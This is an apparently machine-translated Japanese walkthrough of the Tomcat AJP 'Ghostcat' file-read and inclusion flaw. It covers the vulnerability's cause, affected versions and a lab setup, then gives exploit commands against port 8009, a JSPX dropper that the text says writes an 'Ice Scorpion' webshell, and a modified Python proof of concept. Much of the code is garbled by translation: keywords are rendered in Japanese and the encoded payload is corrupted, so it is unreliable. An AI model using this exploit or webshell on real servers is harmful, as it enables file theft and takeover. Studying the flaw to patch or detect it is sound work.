1。脆弱性の説明
Apache Tomcatは、Apache Software Foundationの下でJakartaプロジェクトによって開発されたサーブレットコンテナです。デフォルトでは、Apache Tomcatは、AJPコネクタがAJPプロトコルを介して他のWebサーバーとの相互作用を促進できるようにします。ただし、Apache TomcatのAJPプロトコルの実装には脆弱性があります。これにより、攻撃者は悪意のあるAJPリクエストを送信することにより、Webアプリケーションのルートディレクトリにファイルを読み取るか、含めることができます。任意のフォーマットファイルがファイルにアップロードされている場合、任意のコード実行(RCE)につながる可能性があります。この脆弱性は、AJPサービスポートを利用して攻撃を実装します。 AJPサービスが有効になっていない場合、AJPサービスは脆弱性の影響を受けません(Tomcatは、デフォルトでAJPサービスを0.0.0.0/0に有効にします)。
2。危険レベル
高リスク
3。抜け穴の危険
攻撃者は、すべてのTomcat WebAppディレクトリの下で任意のファイルを読み取ることができます。さらに、Webサイトアプリケーションがファイルアップロード機能を提供する場合、攻撃者は最初に悪意のあるJSPスクリプトコードを含むファイルをサーバーにアップロードできます(アップロードされたファイル自体は、画像、プレーンテキストファイルなど、あらゆるタイプのファイルになります)。
iv。影響の範囲
Apache Tomcat 9.x 9.0.31
Apache Tomcat 8.x 8.5.51
Apache Tomcat 7.x 7.0.100
Apache Tomcat 6.x
5。前提条件
脆弱性インパクトバージョンの範囲内にあるTomcatの場合、AJPコネクタを有効にし、攻撃者がAJPコネクタサービスポートにアクセスできる場合、GhostCatの脆弱性に悪用されるリスクがあります。注tomcat AJPコネクタは、デフォルトの構成で有効になり、リスニングは0.0.0.0:8009です。
vi。脆弱性の原則
Tomcatには2つのコネクタがあります。つまり、HTTPとAJP:デフォルトのHTTPポートは8080です。これはHTTP要求を処理しますが、AJPデフォルトポート8009はAJPプロトコルからのリクエストを処理するために使用されます。 AJPはHTTPよりも最適化されており、主に逆、クラスタリングなどに使用されます。脆弱性は、TOMCAT AJPプロトコルの欠陥によって引き起こされます。攻撃者は、この脆弱性を使用して、特定のパラメーターを構築することにより、サーバーWebAppの下の任意のファイルを読み取ることができ、任意のファイルを含めることができます。特定のアップロードポイント、写真馬のアップロードなどがある場合は、シェルを入手できます
7。脆弱性分析
1。脆弱性原因分析:Tomcatのデフォルトのconf/server.xmlは2つのコネクタで構成されています。1つは8080の外部HTTPプロトコルポート、もう1つはデフォルトの8009 AJPプロトコルポートです。両方のポートは、デフォルトで外部ネットワークIPで監視されます。
下の図に示すように:
tomcatはorg.apache.coyote.ajp.ajpprocessorに電話して、AJPリクエストを受信するときにAJPメッセージを処理します。 PreperereQuestはAJPのコンテンツを取り出し、リクエストオブジェクトの属性プロパティに設定します。
下の図に示すように:
したがって、この機能は、リクエストオブジェクトの次の3つの属性属性を制御するために使用できます
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
次に、対応するリクエストにカプセル化した後、下の図に示すようにサーブレットマッピングプロセスに従ってください。
特定のマッピング方法は簡単です。自分でコードを表示できます。
2。UtilizationMethod :(1)、DefaultServletを使用して任意のファイルのダウンロードを実現します
URL要求がマッピングされたURLリストにない場合、以下の図に示すように、上記の3つのプロパティに従ってTomcatのデフォルトのデフォルトサーブレットが読み取られます。
ServerSourceメソッドを介してリソースファイルを取得します
getRelativePathを介してリソースファイルパスを取得します
次に、AJPによって制御される上記の3つの属性を制御することにより、ファイルが読み取られます。上記の3つの属性を操作することにより、クラス、XML、JAR、その他のファイルに限定されない /Web-INFの下のすべての機密ファイルを読み取ることができます。
(2)jspservletを介して接尾辞ファイルの包含を実装します
URL(http://xxx/xxx/xxx.jspなど)がorg.apache.jasper.servlet.jspservletサーブレットでマッピングする場合、図:に示すように上記の3つの属性を介してアクセスしたJSPファイルも制御できます。
パスを制御した後、ファイルはJSPで解析できます。そのため、RCEを実装するには、制御可能なファイルコンテンツを備えたファイルのみが必要です。
8。脆弱性の再発
1。環境準備(1)。 Windowsの下で繁殖する脆弱性の環境の準備、ここではTomcat-8.5.32が例として使用されます。
https://github.com/backlion/cve-2020-1938/blob/master/apache-tomcat-8.5.32.zip
(2)JDKをインストールし、JDK環境を構成します
(3)その後、Tomcatを起動し、Tomcat Directory/Bin Folderの[起動]をクリックします。
2。脆弱性の複製と利用(1)、任意のファイルを読む(WebAppsディレクトリのファイルをここで読むことができます)
root@kali2019:〜#git clone https://github.com/ydhcui/cnvd-2020-10487-tomcat-ajp-lfi
root@kali2019:〜#cd cnvd-2020-10487-tomcat-ajp-lfi/
root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#chmod +x cnvd-2020-10487-tomcat-ajp-lfi.py
root@kali2019:〜/cnvd-2020-10487-tomcat-ajp-lfi#python cnvd-20-10487-tomcat-ajp-lfi.py192.168.1.9 -p 8009 -f web-inf/web-inf.xml
ROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F INDEX.JSP
509ROOT@KALI2019:〜/CNVD-2020-10487-TOMCAT-AJP-LFI#PYTHON CNVD-2020-10487-TOMCAT-AJP-LFI.PY 192.168.1.9 -8009 -F -F TEST.TXT
2。任意のファイルには以下が含まれます:(これは少し役に立たないので、含めるにはファイルコンテンツをアップロードする必要があります)(1)最初に含める必要があるJSPファイルコードをアップロードします。これがIce Scorpion Pony(test.txt)です
以下は、test.txtファイルをルートディレクトリにアップロードするためです(脆弱性のデモンストレーションのために、このディレクトリにファイルを直接アップロードします。実際の環境では、ファイルのアップロード、TXTファイルのアップロード、脆弱性のエクスプロードを介してファイルを脆弱性にアップロードできます)
test.txtファイルコンテンツ:
jsp:root xmlns:jsp='http://java.sun.com/jsp/page' xmlns='http://www.w3.org/1999/xhtml' xmlns:c='http://java.sun.com.sun.com.sun.com.sun.com.sun.com
jsp:directive.page contentType='text/html' pageencoding='utf-8'/
jsp:directive.page import='java.io。*'/
JSP:Directive.Page Import='Sun.Misc.Base64Decoder'/
htmlheadtitlefuck/title/head
ボディbgcolor='#ffffff'
//MIMA:PASS
jsp:scriptlet![cdata [
string realpath=request.getRealPath(request.getRequesturi());
文字列dir=new file(realpath).getParent();
string strpath=dir+'/t00ls.jspx';
ファイルstrfile=new file(strpath);
boolean filecreated=strfile.createNewfile();
ライターJSPX=new BufferedWriter(new FileWriter(Strfile));
文字列TMP='PGPZCDPYB290IHHTBG5ZOMPZCD0IAHR0CDOVL2PHDMEUC3VULMNVBS9KU1AVUGFNZSIGDMVYC2LVBJ0IMS4YIJ48ANNWOMRPCMVJDGL2ZS5WYWDLIGLTCG9YDD0IA Mf2ys51dglsliosamf2yxguy3j5chrvliosamf22yxguy3j5chrvlnnwzwmukiivpjxqc3a6zgvjbgfyyxrpb24+ingsyxnzifugzxh0zwzw5kcybdbgfzc0xvywrlcntvk ensyxnztg9hzgvyigmpe3n1cgvykgmpo31wdwjsawmgq2xhc3mgzyhiexrliftdyil7cmv0dxjuihihihihihihihihihihihihihihihihlmrmrlzmluzunsyxnzkgismcxilmxlbmd07fx08l2pz cdpkzwnsyxjhdglvbj48annwonnjcmmlwdgxldd5pzihyzxf1zxn0lmdldfhcmftzxrlciggfzcyipit1udwxskxtdhjpbmcgaz0oiiilmmjvulelnjhbmbvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv suqokskucmvwbgfjzsgilsiiiplnn1ynn0cmluzygxnik7c2vzc2lvbi5wdxrwywx1zsgidsisayk7b3v0lnbyaw50kgspo3jldhvybjt9q2lwagvyigm9q2lwagv ylmdldeluc3rhbmnlkcjbrvmikttjlmluaxqomixuzxcgu2vjcmv0s2v55u3blyygoc2vzc2lvbi5nzxrwywx1zsgidsipjtjtjtjtjtjtjtjiiptt uzxcgvsh0aglzlmdldensyxnzkkuz2v0q2xhc3nmb2fkzxiokskuzyhlmrvrvrmluywwobmv3ihn1bi5taxnjlkjbu0u2nelly29kzioks5knvnvzgnvzgnvzをvxdwvzdc5nzxrszwfkzxioks5yzwfktgluzsgpkskplm5ld0luc3rhbmnlkckuzx F1YWXZKHBHZ2VDB250ZXH0KTS8L2PZCDPZY3JPCHRSZXQ+PCC3A6CM9VDD4=';
string str=new String((new Base64Decoder())。DecodeBuffer(TMP));
string estr=java.net.urldecoder.decode(str);
jspx.write(estr);
jspx.flush();
jspx.close();
out.println(strpath);
]]/jsp:scriptlet
/体
/HTML
/jsp:root
(2)テストはtest.txtに直接アクセスできます
http://192.168.1.9:8080/test.txt
(3)POCを変更する必要があり、「/asdf」が「/asdf.jspx」に含まれています
https://github.com/backlion/cnvd-2020-10487-tomcat-ajp-lfi/blob/master/cnvd-2020-10487-tomcat-ajp-lfi.py
変更されたコードは次のとおりです。
#!/usr/bin/env python
#cnvd-2020-10487 tomcat-ajp lfi
#by ydhcui
インポート構造
#いくつかの参照:
#https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
sがne:の場合
return struct.pack( 'h'、-1)
l=len(s)
return struct.pack( 'h%dsb'%l、l、s.encode( 'utf8')、0)
def unpack(stream、fmt):
size=struct.calcsize(fmt)
buf=stream.read(size)
return struct.unpack(fmt、buf)
def upack_string(stream):
サイズ、=アンパック(ストリーム、 'h')
if size==-1:#null文字列
なしなし
res、=unpack(stream、 '%ds'%size)
stream.read(1)#\ 0
RESを返します
クラスNotFoundException(例外):
合格
クラスAJPBodyRequest(オブジェクト):
#サーバー==webサーバー、container==サーブレット
server_to_container、container_to_server=range(2)
max_request_length=8186
def __init __(self、data_stream、data_len、data_direction=none):
self.data_stream=data_stream
self.data_len=data_len
self.data_direction=data_direction
def serialize(self):
data=self.data_stream.read(ajpbodyrequest.max_request_length)
Len(data)==0:の場合
return struct.pack( 'bbh'、0x12、0x34、0x00)
else:
res=struct.pack( 'h'、len(data))
RES +=データ
self.data_direction==ajpbodyrequest.server_to_container:の場合
header=struct.pack( 'bbh'、0x12、0x34、len(res))
else:
header=struct.pack( 'bbh'、0x41、0x42、len(res))
Header + Resを返します
def send_and_receive(self、socket、stream):
true:
data=self.serialize()
socket.send(データ)
r=ajpresponse.receive(stream)
while r.prefix_code!=ajpresponse.get_body_chunkおよびr.prefix_code!=ajpresponse.send_headers:
r=ajpresponse.receive(stream)
r.prefix_code==ajpresponse.send_headersまたはlen(data)==4:の場合
壊す
クラスajpforwardRequest(オブジェクト):
_、_、options、get、head、post、put、delete、trace、propfind、proppatch、mkcol、copy、move、lock、lock、unlock、acl、Report、version_control、checkin、checkout、uncheckout、search、mkworkspace、update、labe、merge、baseline_control、mkactivity=range(28)
request_methods={'get': get、' post ': post、 'head ': head、' options ': options、 'put ': put、' delete': delete、 'trace': trace}
#サーバー==webサーバー、container==サーブレット
server_to_container、container_to_server=range(2)
common_headers=['sc_req_accept'、
'sc_req_accept_charset'、 'sc_req_accept_encoding'、 'sc_req_accept_language'、 'sc_req_authorization'、
'sc_req_connection'、 'sc_req_content_type'、 'sc_req_content_length'、 'sc_req_cookie'、 'sc_req_cookie2'、
'sc_req_host'、 'sc_req_pragma'、 'sc_req_referer'、 'sc_req_user_agent'
]
属性=['context'、 'servlet_path'、 'remote_user'、 'auth_type'、 'query_string'、 'route'、 'ssl_cert'、 'ssl_cipher'、 'ssl_session'、 'req_attribute'、 'ssl_key_size'、 'secret _meth_metheize'、
def __init __(self、data_direction=none):
self.prefix_code=0x02
self.method=none
self.protocol=none
self.req_uri=none
self.remote_addr=none
self.remote_host=none
self.server_name=none
self.server_port=none
self.is_ssl=none
self.num_headers=none
self.request_headers=none
self.attributes=none
self.data_direction=data_direction
def pack_headers(self):
self.num_headers=len(self.request_headers)
res=''
res=struct.pack( 'h'、self.num_headers)
hの場合
Recommended Comments